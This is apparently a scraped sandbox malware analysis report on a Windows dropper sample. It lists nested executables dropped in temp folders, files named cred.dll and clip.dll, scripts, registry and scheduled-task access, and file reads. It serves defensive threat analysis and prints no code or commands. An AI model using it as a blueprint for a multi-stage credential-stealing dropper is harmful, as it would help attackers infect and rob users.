"ob8Cl01.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\ob8Cl01.exe]- [targetUID: 00000000-00003592] "RK6Ko1mo.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\RK6Ko1mo.exe]- [targetUID: 00000000-00001448] "nalo.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000033051\nalo.exe]- [targetUID: 00000000-00003440] "BG0Vi31.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\BG0Vi31.exe]- [targetUID: 00000000-00003456] "AN3Bj1Ru.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\AN3Bj1Ru.exe]- [targetUID: 00000000-00001328] "sus.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "3vp37IO.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\3vp37IO.exe]- [targetUID: 00000000-00002508] "5Vl58Ec.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\5Vl58Ec.exe]- [targetUID: 00000000-00001196] "1AG03bS7.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\1AG03bS7.exe]- [targetUID: 00000000-00003456] "2Jg195qq.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP004.TMP\2Jg195qq.exe]- [targetUID: 00000000-00003836] "4xv765hr.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP002.TMP\4xv765hr.exe]- [targetUID: 00000000-00002132] "5jk2WA4.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\5jk2WA4.exe]- [targetUID: 00000000-00000400] "3XP8tA46.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\3XP8tA46.exe]- [targetUID: 00000000-00001328] "1Sf96TF3.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\1Sf96TF3.exe]- [targetUID: 00000000-00003836] "clip_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "6pM65Va.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6pM65Va.exe]- [targetUID: 00000000-00003252] "6kb5JC6.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\6kb5JC6.exe]- [targetUID: 00000000-00003956] "cred.dll" has type "HTML document ASCII text"- Location: [%APPDATA%\006700e5a2ab05\cred.dll]- [targetUID: 00000000-00002124] "2.ps1" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\1000030041\2.ps1]- [targetUID: 00000000-00002416] "D1E1.bat" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\D1CF.tmp\D1D0.tmp\D1E1.bat]- [targetUID: 00000000-00003252] "urlblockindex_1_.bin" has type "data"- [targetUID: N/A] "6DMKMM9P.htm" has type "HTML document UTF-8 Unicode text with very long lines with CRLF NEL line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\QQW0X29Y\6DMKMM9P.htm]- [targetUID: 00000000-00003060] "urlref_httpswww.facebook.comlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "en-US.4" has type "data"- [targetUID: N/A] "~DF067B1ACE98C2E991.TMP" has type "data"- Location: [%TEMP%\~DF067B1ACE98C2E991.TMP]- [targetUID: 00000000-00003532] "~DF84B07297256CB75B.TMP" has type "data"- Location: [%TEMP%\~DF84B07297256CB75B.TMP]- [targetUID: 00000000-00001812] "~DFD5113EAA5938EEC9.TMP" has type "data"- Location: [%TEMP%\~DFD5113EAA5938EEC9.TMP]- [targetUID: 00000000-00001372] "~DF899D860D2234C2CE.TMP" has type "data"- Location: [%TEMP%\~DF899D860D2234C2CE.TMP]- [targetUID: 00000000-00001564] "~DFC5072FB290E2BFB5.TMP" has type "data"- [targetUID: N/A] "~DF4E412D34A26752FA.TMP" has type "data"- Location: [%TEMP%\~DF4E412D34A26752FA.TMP]- [targetUID: 00000000-00002072] "~DF84A05FE26B2615D5.TMP" has type "data"- Location: [%TEMP%\~DF84A05FE26B2615D5.TMP]- [targetUID: 00000000-00002072] "~DF5DCC5782B9D61EFE.TMP" has type "data"- [targetUID: N/A] "~DF642E03474B9584DA.TMP" has type "data"- [targetUID: N/A] "~DFF500755A4E67CEEA.TMP" has type "data"- [targetUID: N/A] "~DFBE4343374AB9B666.TMP" has type "data"- Location: [%TEMP%\~DFBE4343374AB9B666.TMP]- [targetUID: 00000000-00001812] "~DFF108C8B601BD2F17.TMP" has type "data"- Location: [%TEMP%\~DFF108C8B601BD2F17.TMP]- [targetUID: 00000000-00001372] "~DFC7940303CBF89610.TMP" has type "data"- Location: [%TEMP%\~DFC7940303CBF89610.TMP]- [targetUID: 00000000-00003060] "~DF9820D08BAEDA498F.TMP" has type "data"- Location: [%TEMP%\~DF9820D08BAEDA498F.TMP]- [targetUID: 00000000-00003532] "RecoveryStore._DDBBE2B2-6D12-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._EF8B048C-6D6B-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._4C9FBD92-6D12-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._7926130D-6D69-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._D292420C-6D10-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._BD3C16E5-6D6A-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._A2E95C59-6D1B-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003060] "_473F08EE-6D1F-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_1C902218-6D1D-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_A706FB8C-6D1E-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_4EBE0406-6D71-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_3BD26341-6D71-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_3BC67C5F-6D71-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_F9326E90-6D28-11EE-8ED2-00505691AD06_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "OCCKYUEN.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\OCCKYUEN.txt]- [targetUID: 00000000-00003060] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00003060] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00003060] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00003448] "AVY4IDKF.txt" has type "ASCII text"- [targetUID: N/A] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00003060] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00003060] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00003448] "2GXMW12X.txt" has type "ASCII text"- [targetUID: N/A] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003060] "LPD4KQPU.txt" has type "ASCII text"- [targetUID: N/A] "2657JN0P.txt" has type "ASCII text"- [targetUID: N/A] "A2L220DD.txt" has type "ASCII text"- [targetUID: N/A] "KO5P9YYF.txt" has type "ASCII text"- [targetUID: N/A] "KMV2UZI8.txt" has type "ASCII text"- [targetUID: N/A] "C3KAMWNN.txt" has type "ASCII text"- [targetUID: N/A] "KAIQO3QW.txt" has type "ASCII text"- [targetUID: N/A] "HC6SOWSX.txt" has type "ASCII text"- [targetUID: N/A] "O8HPAPGW.txt" has type "ASCII text"- [targetUID: N/A] "angel.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000034051\angel.exe]- [targetUID: 00000000-00003948] "foto2552.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000032051\foto2552.exe]- [targetUID: 00000000-00002884] "nalo_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "sus.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000031051\sus.exe]- [targetUID: 00000000-00003012] "sus_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "4LW879sL.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP000.TMP\4LW879sL.exe]- [targetUID: 00000000-00003600] "explothe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\fefffe8cea\explothe.exe]- [targetUID: 00000000-00002380] "explothe.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "2Pn4733.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\2Pn4733.exe]- [targetUID: 00000000-00003456] "clip.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%APPDATA%\006700e5a2ab05\clip.dll]- [targetUID: 00000000-00002988] "2_1_.ps1" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "62CA.bat" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\62B8.tmp\62B9.tmp\62CA.bat]- [targetUID: 00000000-00003956]4f:T41a,"~DF067B1ACE98C2E991.TMP" has type "data" - Location: [%TEMP%\~DF067B1ACE98C2E991.TMP] "~DF84B07297256CB75B.TMP" has type "data" - Location: [%TEMP%\~DF84B07297256CB75B.TMP] "~DFD5113EAA5938EEC9.TMP" has type "data" - Location: [%TEMP%\~DFD5113EAA5938EEC9.TMP] "~DF899D860D2234C2CE.TMP" has type "data" - Location: [%TEMP%\~DF899D860D2234C2CE.TMP] "~DFC5072FB290E2BFB5.TMP" has type "data" "~DF4E412D34A26752FA.TMP" has type "data" - Location: [%TEMP%\~DF4E412D34A26752FA.TMP] "~DF84A05FE26B2615D5.TMP" has type "data" - Location: [%TEMP%\~DF84A05FE26B2615D5.TMP] "~DF5DCC5782B9D61EFE.TMP" has type "data" "~DF642E03474B9584DA.TMP" has type "data" "~DFF500755A4E67CEEA.TMP" has type "data" "~DFBE4343374AB9B666.TMP" has type "data" - Location: [%TEMP%\~DFBE4343374AB9B666.TMP] "~DFF108C8B601BD2F17.TMP" has type "data" - Location: [%TEMP%\~DFF108C8B601BD2F17.TMP] "~DFC7940303CBF89610.TMP" has type "data" - Location: [%TEMP%\~DFC7940303CBF89610.TMP] "~DF9820D08BAEDA498F.TMP" has type "data" - Location: [%TEMP%\~DF9820D08BAEDA498F.TMP]50:Tadb,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "")51:T681,"schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "")52:T8aa,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 2748) "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 2748) "iu7rW97.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 400) "iu7rW97.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 400) "WW5pa33.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 3592) "WW5pa33.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 3592) "ob8Cl01.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 484) "ob8Cl01.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 484) "BG0Vi31.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 3456) "BG0Vi31.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 3456) "foto2552.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 2884) "foto2552.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 2884) "gk7GM2iR.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 2068) "gk7GM2iR.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 2068) "tL3sv5VH.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 1448) "tL3sv5VH.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 1448) "RK6Ko1mo.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 1328) "RK6Ko1mo.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 1328) "AN3Bj1Ru.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 3836) "AN3Bj1Ru.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 3836)53:T1026,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "6C4EEAFCDA86D5BD3F31BBB5D53DCBEB18542A14B599D2A5E222D8A1CDB5BAAE"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "")54:T589,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\iu7rw97.exe" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\6kb5jc6.exe" "iu7rW97.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\ww5pa33.exe" "iu7rW97.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\5jk2wa4.exe" "WW5pa33.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\ob8cl01.exe" "WW5pa33.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\4xv765hr.exe" "ob8Cl01.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\bg0vi31.exe" "ob8Cl01.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\3vp37io.exe" "BG0Vi31.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp004.tmp\1ag03bs7.exe" "BG0Vi31.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp004.tmp\2pn4733.exe" "1AG03bS7.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe" "AppLaunch.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe.config" "AppLaunch.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "AppLaunch.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux"55:Tc9a,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" 